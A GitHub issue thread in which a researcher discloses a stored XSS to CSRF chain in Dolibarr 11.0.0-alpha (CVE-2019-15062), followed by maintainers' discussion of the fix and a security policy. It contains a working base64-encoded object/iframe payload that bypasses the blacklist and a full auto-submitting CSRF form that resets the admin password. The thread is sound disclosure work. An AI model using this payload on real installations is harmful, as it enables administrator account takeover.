Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Stored XSS -> CSRF -> Admin Account Takeover #11671

Closed
gauravnarwani97 opened this issue Aug 9, 2019 · 12 comments
Closed

Stored XSS -> CSRF -> Admin Account Takeover #11671

gauravnarwani97 opened this issue Aug 9, 2019 · 12 comments

Comments

@gauravnarwani97
Copy link

Bug

Hello Team, Dolibar 11.0.0-alpha suffers from a Stored XSS in the Label field of Link a new file/document in Linked Files of the User. An attacker could use this feature to introduce a CSRF which would completely takeover admin's account. The protection for CSRF is restricted to referrer header and so if a CSRF request is stored inside the application, this feature is bypassed leading to change of account details. Moving to XSS, the various protections do just display an error message when certain keywords forming an XSS payload. This can be easily bypassed by using an object tag with base64 encoding our payload inside it. For to convert the XSS to CSRF, i'm using the iframe tag inside the object tag to load my CSRF request in its src attribute.
How to takeover admin account? A request is sent to user/card.php where various details of admin can be changed i.e id=1. The attacker just needs the login username of the admin with some random values in firstname and lastname to successfully submit a request. In this request password of admin can be changed, because it does'nt have field to enter previous password for validation. Hence it can be used to submit new password for admin and hence taking over admin account.

Environment

Expected and actual behavior

Expected behaviour: The application should block insertion of tags in pages which would lead to these issues.
Actual behaviuor: The application doesn't block tags and hence leads to XSS/CSRF

Steps to reproduce the behavior

  1. Login to user account as we will send a request from user to admin, just to show severity of impact. Here i'm logging into user asd and go to user card and click on Linked FIles Tab
    1.png

  2. You will see that a user cannot add the Link a new file/document. To bypass this just open inspect element and hover to LINK box.

2.png

  1. Now remove the value disabled="" from the tag. The link will now be activated.

3.png

  1. Now add the value asdasd.com to URL and </td></tr><object data=data:text/html;base64,PGlmcmFtZSBzcmM9Imh0dHA6Ly9sb2NhbGhvc3QvZG9saWJhcnIvY3NyZi5odG1sIj48L2lmcmFtZT4=><tr><td> in the Label
    This is an iframe with source as a csrf file. <iframe src="http://localhost/dolibarr/csrf.html"> is the payload which is base64 encoded. You can add any source like upload it to your server as csrf.html . A new file will be added on behalf of user.

4.png

  1. Add the following code as csrf.html
<html>
	<body onload="attack()">
		<script>
			function attack() {
				document.getElementById('hidden_form').submit();
			}
		</script>
		<form id="hidden_form" name="hidden_form" action="http://localhost/dolibarr/user/card.php" method="POST">
			<input type="text" name="action" value="update" /><br />
			<input type="text" name="id" value="1" /><br />
			<input type="text" name="admin" value="1" /><br />
			<input type="text" name="update" value="Save" /><br />
			<input type="text" name="login" value="admin" /><br />
			<input type="text" name="lastname" value="asd" /><br />
			<input type="text" name="firstname" value="hacked" /><br />
			<input type="text" name="password" value="admin000" /><br />
		</form>
	</body>
</html>
  1. Now the attack vector is set. Now only the attacker needs to open the linked files page for the user. Login with admin user and head to all users -> asdasd asd.

6_1.png

As you can see in image 6_1.png the admin firstname and lastname is admin admin. Now lets open the user asdasd asd.
Head to Users & Groups tab -> Click on user asdasd asd (6_2.png).

6_2.png

Head to Linked files of user.

6_3

If you will see that the iframe is seen on the webpage which executes our CSRF succcessfullly changing the details of admin

  1. Now open admin profile again. You will see the name has changed to hacked asd. The attacker can even change the password of the admin and takeover his account. In this case I have changed the password of admin to admin000

7.png

Suggested steps

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

  1. Input should be validated as strictly as possible on arrival, given the kind of content that it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
  2. User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Here the xss protection is by using blacklist. Please don't use that, instead use the above mentioned approach
@dolibarr95
Copy link
Contributor

Hi!
Tks a lot :) !

I think it's better to share to security@dolibarr.org than public report.
Tks

@gauravnarwani97
Copy link
Author

Hey,
Tried to send mail, delivery failed somehow.

@dolibarr95
Copy link
Contributor

tks!
@eldy can you please check the sec email account ?

@hregis
Copy link
Contributor

hregis commented Aug 9, 2019

@gauravnarwani97 @dolibarr95
security email works for me !

@dolibarr95
Copy link
Contributor

tks :)

@gauravnarwani97
Copy link
Author

Do you want me to send the email personally?

@dolibarr95
Copy link
Contributor

@gauravnarwani97 i'm not admin or in the dolibarr team please only send to @dolibarr.org

@dolibarr95
Copy link
Contributor

@eldy what about this : https://help.github.com/en/articles/adding-a-security-policy-to-your-repository ? Do you think It could be userfull?

@gauravnarwani97
Copy link
Author

A CVE Number CVE-2019-15062 is assigned to this issue.

@eldy
Copy link
Member

eldy commented Aug 16, 2019 •
edited

Thanks @gauravnarwani97
I pushed a fix in v10. Should be available for v10.0.2

  • Sanitizing of label has been enforced with correct format.
  • Escaping into htmlentities of output of data has been added

We are aware that blacklist to avoid XSS is not enough and we rely ONLY on sanitizing and escaping data as you suggest (even if this issue show we missed some). But we keep the blacklist as another shield (even if it is not the reliable method we trust in).

Note that we are also working on an option called "MAIN_SECURITY_CSRF_WITH_TOKEN" (add into home - setup - constant to 1) so the CSRF protection is not done on referrer only but also on a rolling token parameter inside the form. It is already implemented into v10 as hidden feature and need to be stabilized to become a default value. I don't know if this option would have effect or not on this case, it is just to get your feedback...

@eldy
Copy link
Member

eldy commented Aug 16, 2019

@dolibarr95 I added the SECURITY.md file as suggested by https://help.github.com/en/articles/adding-a-security-policy-to-your-repository

@eldy eldy closed this as completed in 9692ea5 Aug 16, 2019
eldy added a commit that referenced this issue Aug 17, 2019
@eldy
FIX #11671 CVE-2019-15062
d21e557
eldy added a commit that referenced this issue Aug 17, 2019
@eldy
FIX #11671 CVE-2019-15062
18eb2a8
@dolibarr95
Copy link
Contributor

+1

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
4 participants
@hregis @eldy @dolibarr95 @gauravnarwani97